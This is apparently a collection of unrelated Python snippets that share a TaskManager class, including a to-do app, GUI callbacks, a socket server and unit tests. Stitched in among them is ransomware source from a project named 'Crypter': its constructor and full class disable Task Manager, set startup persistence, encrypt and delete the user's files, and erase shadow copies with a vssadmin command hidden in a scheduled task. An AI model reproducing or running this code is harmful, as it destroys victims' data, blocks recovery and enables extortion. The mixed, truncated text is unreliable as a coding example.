def __init__(self, tag=2, collegeID=0): TaskManager.__init__(self, tag, collegeID) self._allListImpll = AllTaskImpllNormal(tag, collegeID) self._doingImpll = DoingTaskImpllNormal(tag, collegeID) self._completedImpll = CompletedTaskImpllNormal(tag, collegeID) self._taskGettingImpll = TaskGettingImpllNotification(tag, collegeID) self._modifyStatusImpll = ModifyStatusImpllNormal(tag, collegeID)
def main(): day = date.today().strftime("%A %d-%m-%Y") if len(sys.argv) == 1: tasks = sorted(TaskManager.getDayTasks(datetime.today().timestamp()), key=lambda x: x['datetime']) elif len(sys.argv) == 2: if re.search( '^([0-2][0-9]|(3)[0-1])(\-)(((0)[0-9])|((1)[0-2]))(\-)\d{4}$', sys.argv[1]): date_in_sec = datetime.strptime(sys.argv[1] + ' 00:00:00', "%d-%m-%Y %H:%M:%S").timestamp() day = datetime.fromtimestamp(date_in_sec).strftime("%A %d-%m-%Y") tasks = sorted(TaskManager.getDayTasks(date_in_sec), key=lambda x: x['datetime']) elif re.search('^[0-9]*$', sys.argv[1]): tasks = sorted(TaskManager.getVariableDayTasks(int(sys.argv[1])), key=lambda x: x['datetime']) if tasks: day = datetime.fromtimestamp( tasks[0]['datetime']).strftime("%A %d-%m-%Y") else: print( 'Usage: tasks [optional]<Nº of days forward from today> or <Exact day date dd-mm-yyyy format>' ) exit(-1) else: print( 'Usage: tasks [optional]<Nº of days forward from today> or <Exact day date dd-mm-yyyy format>' ) exit(-1) write_html_file(tasks, day)
def deleteQuestion(self, index): layoutToDelete = TaskManager.taskRows[ index - 1] # Gets the layout representing the question TaskManager.deleteQuestion(index) # Deletes the question from the task self.questions_layout.remove_widget( layoutToDelete ) # Removes the layout representing the question for the scrollable GridLayout self.toggleDelete() # Toggled delete
def __init__(self, server_address: "tuple (ip,port)" = None): # Create a TCP/IP socket self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if server_address is None: server_address = DEFAULT_SERVER_ADDRESS self.sock.bind(server_address) self.sock.listen(SERVER_LISTEN_CONNECTIONS) self.sock.settimeout(SERVER_SOCKET_TIMEOUT) self.response_timeout = DEFAULT_RESPONSE_TIMEOUT self.running = False self.task_manager = TaskManager() self.task_manager.run()
class MyServer: def __init__(self, server_address: "tuple (ip,port)" = None): # Create a TCP/IP socket self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if server_address is None: server_address = DEFAULT_SERVER_ADDRESS self.sock.bind(server_address) self.sock.listen(SERVER_LISTEN_CONNECTIONS) self.sock.settimeout(SERVER_SOCKET_TIMEOUT) self.response_timeout = DEFAULT_RESPONSE_TIMEOUT self.running = False self.task_manager = TaskManager() self.task_manager.run() def run(self): self.running = True try: while self.running: print('Waiting for a new connection on ', self.sock) # Wait for a connection connection = None while not connection and self.running: try: connection, client_address = self.sock.accept() except socket.timeout: pass self.handle_connection(connection) except KeyboardInterrupt: print('Server closing by user.') finally: self.running = False self.sock.close() def stop(self): self.running = False def handle_connection(self, connection): try: connection.settimeout(self.response_timeout) json_request = receive_all_json(connection) # print("Request:", json_request) answer = self.task_manager.handle_command(json_request) # print('Answer:', answer) connection.sendall(json.dumps(answer).encode()) except (ConnectionAbortedError, ConnectionResetError, ConnectionRefusedError): pass finally: connection.close()
def __init__(self): ''' @summary: Constructor ''' self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): # Disable Task Manager if self.__config["disable_task_manager"]: self.task_manager = TaskManager() try: self.task_manager.disable() except WindowsError: pass # Add to startup programs # TODO Test if self.__config["open_gui_on_login"]: self.__add_to_startup_programs() # Find files and initialise keys self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. cleanup and return if self.__no_files_were_encrypted(): # TODO Test self.cleanup() return # Delete Shadow Copies if "delete_shadow_copies" in self.__config: self.__delete_shadow_files() # Open GUI self.start_gui() # ALREADY ENCRYPTED - Open GUI elif os.path.isfile(self.encrypted_file_list): self.start_gui()
def __init__(self): """Create TreeTodoApplication""" Application.__init__(self) self.connect("activate", self.on_activate) self.taskManager = TaskManager()
def __init__(self, address, configDesc): self.configDesc = configDesc self.address = address self.curPort = configDesc.startPort self.taskHeaders = {} self.taskManager = TaskManager(configDesc.clientUid) self.taskComputer = TaskComputer(configDesc.clientUid, self, self.configDesc.estimatedPerformance, self.configDesc.taskRequestInterval) self.taskSeesions = {} self.taskSeesionsIncoming = [] self.lastMessages = [] self.resultsToSend = {} self.__startAccepting()
def saveFileScreen(self, nextScreen, currentScreen): # Returns True if none of questions are empty and none of the parameters of the question are empty checkNone = TaskManager.checkNone() titlePresent = not TaskManager.title == "" # No issues, the task and all of its questions are valid if checkNone and TaskManager.questionsPerSheet <= len( TaskManager.newTaskQuestions ) and TaskManager.questionsPerSheet > 0 and titlePresent: return nextScreen # Returns the nextScreen to continue to else: #There are some issues with the task, displaying error to the user through a notification self.customPopup = Popup(title="Warning", content=FloatLayout(size=self.size), size_hint=(0.5, 0.8)) #labelText is the string that will be displayed to the user if not checkNone: #One or more questions are empty or have empty parameters labelText = "Some Questions Are\nIncomplete" elif not titlePresent: #Since no questions are empty, the error must be that the pump goes out of bounds labelText = "The Title Is\nEmpty" else: labelText = "Questions Per\nSheet are Invalid" # Creates a label that will display the message to the user messageLabel = Label(size_hint=(0.5, 0.1), pos_hint={ 'center_x': 0.5, 'center_y': 0.7 }, text=labelText, halign='center', font_size="20sp") # Creates an "Okay" Button okayButton = Button(size_hint=(0.5, 0.1), pos_hint={ 'center_x': 0.5, 'center_y': 0.3 }, text="Okay") # Binds the button to the self.closeCustomPopup function so that pressing the button will close the popup okayButton.bind(on_release=self.closeCustomPopup) # Adds the button and label widgets to the popup self.customPopup.content.add_widget(messageLabel) self.customPopup.content.add_widget(okayButton) # Opens the popup self.customPopup.open() return currentScreen
def SetupTaskManager(self): taskManager = TaskManager() taskManager.OnTaskBlocked = self.OnTaskBlocked taskManager.OnTaskWait = self.OnTaskWait taskManager.OnTaskProgressUpdate = self.OnTaskProgressUpdate taskManager.OnTaskDone = self.OnTaskDone self.taskManager = taskManager
def executeTask(self): if TaskManager.checkNone( ): # None of questions are empty or have empty parameters titlePresent = not TaskManager.title == "" inBounds = TaskManager.questionsPerSheet <= len( TaskManager.newTaskQuestions ) and TaskManager.questionsPerSheet > 0 if not inBounds: # The task causes the pump to go out of bounds and the appropriate error message is displayed self.makeCustomPopup("Questions Per\nSheet are Invalid") elif titlePresent: # Since the task is valid, an attempt is made at making a connection self.executionPopup = self.makeExecutionPopup( ) # Connection was successful, opening execution popup else: # Connection was unsuccessful self.makeCustomPopup("The Title Is\nEmpty") else: # At least on question is empty or has empty parameters self.makeCustomPopup("Some Questions Are\nIncomplete")
def main(args=None): """ Entry point for both command-line and shell Note that the `args` parameter to this function allows us to do stuff from the Python interactive prompt: >>> Main.main(['-H', 'pivot02', 'getstate', 'mabramow-test1']) getstate(mabramow-test1) = off Inspiration from http://www.artima.com/weblogs/viewpost.jsp?thread=4829 """ try: options, args = optionsParser.parser.parse_args(args or sys.argv[1:]) if options.serverOp: args.insert(0, options.serverOp) host = GetHost(options) if options.interactive: Shell(host).cmdloop() else: operationName, result = CommandProcessor.Process(host, args) if result is not None: result = TaskManager().HandleIfTask(result, async=False) if not options.quiet: if isinstance(result, basestring) or \ isinstance(result, int) or isinstance(result, long): sys.stdout.write(GetPrologue(operationName, args)) if result == 'success': result = 1 if result == 'error': result = 0 print(optionsParser.GetFormatter(options).Format(result)) except CommandProcessor.InvalidOperation: sys.stderr.write('Invalid operation specified.\n\n') optionsParser.parser.print_help() sys.stderr.write('\nInvalid operation specified.\n') except CommandProcessor.InvalidParameter, e: sys.stderr.write('Invalid parameter specified.\n\n') sys.stderr.write('%s\n' % e)
def main(self): """ The main controller function. It coordinates all activities. """ try: self.cli_api = CommandLineAPI() self.task_manager = TaskManager(self.cli_api) resp_code = 127 task_and_inp = self.precmd() while True: if isinstance(task_and_inp[0], int) == False: resp_code = self.execute_task(task_and_inp[0], task_and_inp[1]) self.postcmd(resp_code) task_and_inp = self.precmd(init=False) except KeyboardInterrupt: self.cli_api.exit()
def on_json_loading_failed(self, e): return { "status": False, "message": "Failed to decode JSON object: {0}".format(e) } app.request_class = custom_request # TO BE DELETED # def pass_through(*args, **kwargs): # """ pass through function for debug """ # logging.debug("PASS THROUGH: Doing Nothing") # return {"status": True} tm = TaskManager(validate_func=validate, execute_func=generate) @app.route('/') def root(): return app.send_static_file('index.html') @app.route('/input_set/upload', methods=['POST']) def upload_input_set(): content = request.get_json() if content is None: return jsonify({"status": False, "message": "There is no json."}), 400 if content.get("status") is False: return jsonify(content), 400 logging.debug("input_set/upload, json: " + json.dumps(content))
# Check if input is valid if len(sys.argv) == 1: parser.print_help(sys.stderr) sys.exit(1) # Check if file exists if vars['file']: tasks_file = os.path.expanduser(vars['file']) else: tasks_file = os.path.expanduser('~/tokyo/tasks.json') if not os.path.exists(tasks_file): exit('Invalid tasks file!') task_manager = TaskManager(tasks_file) # List tasks if vars['list']: task_manager.listTasks() exit() # Print history if vars['hist']: task_manager.printHistory() exit() # Execute tasks for task in vars['tasks']: task_manager.runTask (task)
def test_toDoTask(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("x 1") tm.exec("o 1") assert tm.tasks[0].status == "TODO"
def test_doneTask(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("x 1") assert tm.tasks[0].status == "DONE"
def test_saveOneTask(): tm = TaskManager() tm.exec("+ Acheter du pain") assert tm.tasks[0].label == "Acheter du pain" assert tm.tasks[0].status == "TODO"
def parseEmptyInput(): tm = TaskManager() tm.exec("") assert tm.action.type is None
def main(): task = get_task() TaskManager.addTask(task)
class TestTaskManager(unittest.TestCase): def setUp(self): logging.basicConfig(filename='TaskManager.log', level=logging.DEBUG) logger = logging.getLogger(__name__) self.hostname = 'sv0' self.tm = TaskManager(self.hostname, logger, address='127.0.0.1', port=5440) self.job_name = 'tm_test' def tearDown(self): del self.tm def __get_ops(self): tlgs = self.tm.jobs[self.job_name].get_device_local_group(self.hostname).tlgs ops = {} for tlg in tlgs: for op in tlg.operators: ops[op.name] = op return ops def test_add_job_intra_process_single_edge(self): interfaces = {} self.tm.add_job('IntraProcessJob_SingleEdge.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['2'].in_streams[0] def test_add_job_intra_process_single_out(self): interfaces = {} self.tm.add_job('IntraProcessJob_SingleOut.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].in_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['2'].in_streams[0] assert ops['1'].out_streams[0] is ops['3'].in_streams[0] assert ops['2'].in_streams[0] is ops['3'].in_streams[0] def test_add_job_intra_process_double_out(self): interfaces = {} self.tm.add_job('IntraProcessJob_DoubleOut.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 2 assert len(ops['2'].in_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['1'].out_streams[1], multiprocessing.queues.Queue) assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops ['2'].in_streams[0] assert ops['1'].out_streams[1] is ops ['3'].in_streams[0] assert ops['2'].in_streams[0] is not ops['3'].in_streams[0] def test_add_job_intra_process_single_in(self): interfaces = {} self.tm.add_job('IntraProcessJob_SingleIn.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].out_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['3'].in_streams[0] assert ops['2'].out_streams[0] is ops['3'].in_streams[0] assert ops['1'].out_streams[0] is ops['2'].out_streams[0] def test_add_job_intra_process_double_in(self): interfaces = {} self.tm.add_job('IntraProcessJob_DoubleIn.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].out_streams) == 1 assert len(ops['3'].in_streams) == 2 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[1], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['3'].in_streams[0] assert ops['2'].out_streams[0] is ops['3'].in_streams[1] assert ops['1'].out_streams[0] is not ops['2'].out_streams[0] def test_add_job_inter_process_single_edge(self): interfaces = {} self.tm.add_job('InterProcessJob_SingleEdge.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['2'].in_streams[0] def test_add_job_inter_process_single_out(self): interfaces = {} self.tm.add_job('InterProcessJob_SingleOut.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].in_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['2'].in_streams[0] assert ops['1'].out_streams[0] is ops['3'].in_streams[0] assert ops['2'].in_streams[0] is ops['3'].in_streams[0] def test_add_job_inter_process_double_out(self): interfaces = {} self.tm.add_job('InterProcessJob_DoubleOut.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 2 assert len(ops['2'].in_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['1'].out_streams[1], multiprocessing.queues.Queue) assert isinstance(ops['2'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['2'].in_streams[0] assert ops['1'].out_streams[1] is ops['3'].in_streams[0] assert ops['2'].in_streams[0] is not ops['3'].in_streams[0] def test_add_job_inter_process_single_in(self): interfaces = {} self.tm.add_job('InterProcessJob_SingleIn.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].out_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['3'].in_streams[0] assert ops['2'].out_streams[0] is ops['3'].in_streams[0] assert ops['1'].out_streams[0] is ops['2'].out_streams[0] def test_add_job_inter_process_double_in(self): interfaces = {} self.tm.add_job('InterProcessJob_DoubleIn.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].out_streams) == 1 assert len(ops['3'].in_streams) == 2 assert isinstance(ops['1'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['2'].out_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[0], multiprocessing.queues.Queue) assert isinstance(ops['3'].in_streams[1], multiprocessing.queues.Queue) assert ops['1'].out_streams[0] is ops['3'].in_streams[0] assert ops['2'].out_streams[0] is ops['3'].in_streams[1] assert ops['1'].out_streams[0] is not ops['2'].out_streams[0] def test_add_job_inter_device_single_edge_out(self): interfaces = {('2', 0):('127.0.0.1', 5441, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_SingleEdge_Out.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert isinstance(ops['1'].out_streams[0], TxNetworkStream) def test_add_job_inter_device_single_out_out(self): interfaces = {('2', 0):('127.0.0.1', 5441, '00:00:00:00:00:00'), ('3', 0):('127.0.0.1', 5442, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_SingleOut_Out.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert isinstance(ops['1'].out_streams[0], TxNetworkStream) def test_add_job_inter_device_double_out_out(self): interfaces = {('2', 0):('127.0.0.1', 5441, '00:00:00:00:00:00'), ('3', 0):('127.0.0.1', 5442, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_DoubleOut_Out.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 2 assert isinstance(ops['1'].out_streams[0], TxNetworkStream) assert isinstance(ops['1'].out_streams[1], TxNetworkStream) assert ops['1'].out_streams[0] is not ops['1'].out_streams[1] def test_add_job_inter_device_single_in_out(self): interfaces = {('3', 0):('127.0.0.1', 5441, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_SingleIn_Out.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].out_streams) == 1 assert isinstance(ops['1'].out_streams[0], TxNetworkStream) assert isinstance(ops['2'].out_streams[0], TxNetworkStream) assert ops['1'].out_streams[0] is not ops['2'].out_streams[0] def test_add_job_inter_device_double_in_out(self): interfaces = {('3', 0):('127.0.0.1', 5441, '00:00:00:00:00:00'), ('3', 1):('127.0.0.1', 5442, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_DoubleIn_Out.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['1'].out_streams) == 1 assert len(ops['2'].out_streams) == 1 assert isinstance(ops['1'].out_streams[0], TxNetworkStream) assert isinstance(ops['2'].out_streams[0], TxNetworkStream) assert ops['1'].out_streams[0] is not ops['2'].out_streams[0] def test_add_job_inter_device_single_edge_in(self): interfaces = {('2', 0):('127.0.0.2', 5441, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_SingleEdge_In.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['2'].in_streams) == 1 assert isinstance(ops['2'].in_streams[0], RxNetworkStream) del ops['2'].in_streams[0] def test_add_job_inter_device_single_out_in(self): interfaces = {('2', 0):('127.0.0.2', 5441, '00:00:00:00:00:00'), ('3', 0):('127.0.0.2', 5442, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_SingleOut_In.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['2'].in_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['2'].in_streams[0], RxNetworkStream) assert isinstance(ops['3'].in_streams[0], RxNetworkStream) assert ops['2'].in_streams[0] is not ops['3'].in_streams[0] del ops['2'].in_streams[0] def test_add_job_inter_device_double_out_in(self): interfaces = {('2', 0):('127.0.0.2', 5441, '00:00:00:00:00:00'), ('3', 0):('127.0.0.2', 5442, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_DoubleOut_In.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['2'].in_streams) == 1 assert len(ops['3'].in_streams) == 1 assert isinstance(ops['2'].in_streams[0], RxNetworkStream) assert isinstance(ops['3'].in_streams[0], RxNetworkStream) assert ops['2'].in_streams[0] is not ops['3'].in_streams[0] del ops['2'].in_streams[0] del ops['3'].in_streams[0] def test_add_job_inter_device_single_in_in(self): interfaces = {('3', 0):('127.0.0.2', 5441, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_SingleIn_In.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['3'].in_streams) == 1 assert isinstance(ops['3'].in_streams[0], RxNetworkStream) del ops['3'].in_streams[0] def test_add_job_inter_device_double_in_in(self): interfaces = {('3', 0):('127.0.0.2', 5441, '00:00:00:00:00:00'), ('3', 1):('127.0.0.2', 5442, '00:00:00:00:00:00')} self.tm.add_job('InterDeviceJob_DoubleIn_In.py', self.job_name, interfaces) ops = self.__get_ops() assert len(ops['3'].in_streams) == 2 assert isinstance(ops['3'].in_streams[0], RxNetworkStream) assert isinstance(ops['3'].in_streams[1], RxNetworkStream) assert ops['3'].in_streams[0] is not ops['3'].in_streams[1] del ops['3'].in_streams[0] del ops['3'].in_streams[1] def test_prepare_tasks(self): pass def test_run_tasks(self): pass def test_pause_tasks(self): pass def test_cancel_tasks(self): pass
def executionPopupConfirmCallback(self, instance): if self.exportNumber == None: self.customPopup = Popup(title="Warning", content=FloatLayout(size=self.size), size_hint=(0.5, 0.8)) # Label which will display "Your Input Was Invalid" messageLabel = Label(size_hint=(0.5, 0.1), pos_hint={ 'center_x': 0.5, 'center_y': 0.7 }, text="Your Input Was\nEmpty", halign='center', font_size="20sp") # Okay Button which will close the popup okayButton = Button(size_hint=(0.5, 0.1), pos_hint={ 'center_x': 0.5, 'center_y': 0.3 }, text="Okay") okayButton.bind( on_release=self.closeCustomPopup ) # Binds the Okay Button to self.closeCustomPopup() # Adds the label and the button to the popup self.customPopup.content.add_widget(messageLabel) self.customPopup.content.add_widget(okayButton) self.customPopup.open() # Opens the popup elif self.exportNumber <= 0: self.customPopup = Popup(title="Warning", content=FloatLayout(size=self.size), size_hint=(0.5, 0.8)) # Label which will display "Your Input Was Invalid" messageLabel = Label(size_hint=(0.5, 0.1), pos_hint={ 'center_x': 0.5, 'center_y': 0.7 }, text="Your Input Was\nInvalid", halign='center', font_size="20sp") # Okay Button which will close the popup okayButton = Button(size_hint=(0.5, 0.1), pos_hint={ 'center_x': 0.5, 'center_y': 0.3 }, text="Okay") okayButton.bind( on_release=self.closeCustomPopup ) # Binds the Okay Button to self.closeCustomPopup() # Adds the label and the button to the popup self.customPopup.content.add_widget(messageLabel) self.customPopup.content.add_widget(okayButton) self.customPopup.open() # Opens the popup else: TaskManager.exportWorksheet(self.exportNumber) self.executionPopup.dismiss() self.makeCustomPopup( "Worksheet Successfully\nSaved!" ) # Displays a popup to the user that tells the user that the task saved
def parseInputActionAdd(): tm = TaskManager() tm.exec("+ Acheter du pain") assert tm.action.type == "ADD"
def setUp(self): #runs before every test print "\n\n\n--------------------------------------------------------------" self.tmA = TaskManager("A") self.tmB = TaskManager("B") print "--------------------------------------------------------------\n"
class Crypter(Base.Base): ''' @summary: Crypter: Controls interaction between relevant objects @author: MLS ''' def __init__(self): ''' @summary: Constructor ''' self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): # Disable Task Manager if self.__config["disable_task_manager"]: self.task_manager = TaskManager() try: self.task_manager.disable() except WindowsError: pass # Add to startup programs # TODO Test if self.__config["open_gui_on_login"]: self.__add_to_startup_programs() # Find files and initialise keys self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. cleanup and return if self.__no_files_were_encrypted(): # TODO Test self.cleanup() return # Delete Shadow Copies if "delete_shadow_copies" in self.__config: self.__delete_shadow_files() # Open GUI self.start_gui() # ALREADY ENCRYPTED - Open GUI elif os.path.isfile(self.encrypted_file_list): self.start_gui() def __load_config(self): ''' @summary: Loads the runtime cfg file @return: JSON runtime config ''' cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) with open(cfg_path, "r") as runtime_cfg_file: config = json.load(runtime_cfg_file) return config def __delete_shadow_files(self): ''' @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk ''' vs_deleter = ScheduledTask( name="updater47", command="vssadmin Delete Shadows /All /Quiet" ) vs_deleter.run_now() vs_deleter.cleanup() def __no_files_were_encrypted(self): ''' @summary: Checks if any files were encrypted @return: True if no files were encrypted, otherwise False @todo: Test ''' if not os.path.isfile(self.encrypted_file_list): return True else: return False def __add_to_startup_programs(self): ''' @summary: Adds Crypter to the list of Windows startup programs @todo: Code and test @todo: Restore try and except catch ''' try: reg = _winreg.CreateKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) _winreg.SetValueEx(reg, "Crypter", 0, _winreg.REG_SZ, sys.executable) _winreg.CloseKey(reg) except WindowsError: pass def __remove_from_startup_programs(self): ''' @summary: Removes Crypter from the list of startup programs @todo: Code and test ''' try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE) _winreg.DeleteValue(reg, "Crypter") _winreg.CloseKey(reg) except WindowsError: pass def get_start_time(self): ''' @summary: Get's Crypter's start time from the registry, or creates it if it doesn't exist @return: The time that the ransomware began it's encryption operation, in integer epoch form ''' # Try to open registry key try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) start_time = _winreg.QueryValueEx(reg, "")[0] _winreg.CloseKey(reg) # If failure, create the key except WindowsError: start_time = int(time.time()) reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time)) _winreg.CloseKey(reg) return start_time def cleanup(self): ''' @summary: Cleanups the system following successful decryption. Removed the list of encrypted files and deletes the Crypter registry key. Re-enable TM ''' # If files were encrypted, Remove from startup programs (if present in list) if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: self.__remove_from_startup_programs() self.delete_encrypted_file_list() self.delete_registry_entries() if self.__config["disable_task_manager"]: try: self.task_manager.enable() except WindowsError: pass def delete_registry_entries(self): ''' @summary: Deletes the timer registry key ''' # Open and delete the key try: reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) _winreg.DeleteKeyEx(reg, "") _winreg.CloseKey(reg) except WindowsError: # Ignore any Windows errors pass def start_gui(self): ''' @summary: Initialises and launches the ransomware GUI screen ''' # Get Crypter start_time start_time = self.get_start_time() app = wx.App() # TODO Update this to new path and place in __init__ #sys._MEIPASS = "******" crypter_gui = Gui.Gui( image_path=sys._MEIPASS, start_time=start_time, decrypter=self, config=self.__config) crypter_gui.Show() app.MainLoop() def get_encrypted_files_list(self): ''' @summary: Returns a list of the files encrypted by crypter @return: Encrypted file list ''' # Get list of encrypted files try: with open(self.encrypted_file_list) as fh: file_list = fh.readlines() fh.close() except IOError: # Don't error, just return message raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) return file_list def decrypt_file(self, encrypted_file, decryption_key): ''' @summary: Processes the list of encrypted files and decrypts each. Should be called once per file @param encrypted_file: an encrypted file to decrypt ''' # Decrypt! if not encrypted_file: return # IF successful decryption, delete locked file locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, self.__config["encrypted_file_extension"]) if locked_path: os.remove(locked_path) def delete_encrypted_file_list(self): ''' @summary: Deletes the list of encrypted files ''' # Remove encrypted file list if os.path.isfile(self.encrypted_file_list): os.remove(self.encrypted_file_list) def encrypt_files(self, file_list): ''' @summary: Encrypts all files in the provided file list param @param file_list: A list of files to encrypt ''' encrypted_files = [] # Encrypt them and add to list if successful for file in file_list: # Encrypt file if less than specified file size try: if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) else: is_encrypted = False # IF encrypted, try to delete the file and add to the list if is_encrypted: os.remove(file) encrypted_files.append(file) except: # Ignore any exception, such as access denied, and continue pass # Write out list of encrypted files if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): fh = open(self.encrypted_file_list, "w") for encrypted_file in encrypted_files: fh.write(encrypted_file) fh.write("\n") fh.close() def find_files(self): ''' @summary: Searches the file system and builds a list of files to encrypt @return: List of files matching the location and filetype criteria ''' binary_name = os.path.split(sys.argv[0])[1] base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) file_list = [] for directory in base_dirs: for path,subdirs,files in os.walk(directory): for file in files: if os.path.isfile(os.path.join(path, file)): # Check file is valid if ( (self.is_valid_filetype(file)) and (not self.is_excluded_file(file)) and (not self.is_excluded_dir(path)) and (file.lower() != binary_name.lower()) and (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower())) ): file_list.append(os.path.join(path, file)) for file in subdirs: if os.path.isfile(os.path.join(path, file)): # Check file is valid if ( (self.is_valid_filetype(file)) and (not self.is_excluded_file(file)) and (not self.is_excluded_dir(path)) and (file.lower() != binary_name.lower()) and (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower())) ): file_list.append(os.path.join(path, file)) return file_list def is_excluded_dir(self, path): ''' @summary: Checks whether the specified path should be excluded from encryption @param path: The path to check @return: True if the path should be excluded from encryption, otherwise False ''' for dir_to_exclude in self.DIRS_TO_EXCLUDE: if "\\%s" % dir_to_exclude.lower() in path.lower(): return True return False def is_excluded_file(self, file): ''' @summary: Checks whether the specified file is marked as a file to be excluded from encryption @param file: The file to check @requires: True if the 